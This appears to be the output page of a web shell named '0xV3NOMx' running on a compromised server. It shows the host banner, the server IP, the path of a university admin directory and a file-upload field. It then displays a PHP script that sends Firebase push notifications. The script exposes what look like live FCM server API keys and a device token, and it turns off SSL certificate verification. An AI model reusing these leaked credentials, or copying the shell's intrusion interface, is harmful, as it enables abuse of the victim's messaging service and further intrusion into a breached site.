0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.65.133


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/sendnotif_oums.php

<?php
// API access key from Google API's Console
// define( 'API_ACCESS_KEY', 'AAAAQ4Ij4ys:APA91bFukm2A78H8Nr72_aMSLuQo77E-bGHve_F3XdXeRgOhVoXUjxhypthhfHOiw6CP9g7ardN_WRRiKZmdiRl_LOLEZvnAxyK5wDhLXfVSa-hCjk4YRLjqUFNJTOn23D8bDqBDHt1u' );
define( 'API_ACCESS_KEY', 'AAAAgJjtDyo:APA91bH7vx_QfSxjkz2ZxoaVORvtyfkjA4W3kU4p96GPpF0hbpByEczObtu0ky4KS4XA-shF993AXXCapFsdzZFBrdPx5KUgaKBlQTuZDgQAHQZyUuKXTkMGewteQZBsxYRDIsmO2J7H');
function sendNotification( $regnids, $msg )
{
    // $registrationIds = array('dK-CrfoHq0E:APA91bHMYTdCTs7LvoFcGEq66k2PCQjZ4bEoxcx8NxdXbsKp68HCwvz-el3AE06mAVjdCx98Dtt8Trsn6AHWcaev0fXiuXWUWPtSvNfDrE4cizr4VRnjEnFC7bDp8NSqnlg1qaJElk-9');
   
    $msg = array
    (
        'body' 	=> $msg['body'],
        'title'	=> $msg['title'],
        'icon'    => 'ic_launcher'
    );

    $fields = array
    (
        'registration_ids' 	=> $regnids,
        'notification' => $msg
    );
    
    $headers = array
    (
        'Authorization: key=' . API_ACCESS_KEY,
        'Content-Type: application/json'
    );
    
    //var_dump($headers);

    $ch = curl_init();
    curl_setopt( $ch,CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send' );
    curl_setopt( $ch,CURLOPT_POST, true );
    curl_setopt( $ch,CURLOPT_HTTPHEADER, $headers );
    curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );
    curl_setopt( $ch,CURLOPT_POSTFIELDS, json_encode( $fields ) );
    $result = curl_exec($ch );
    curl_close( $ch );
    echo $result;
}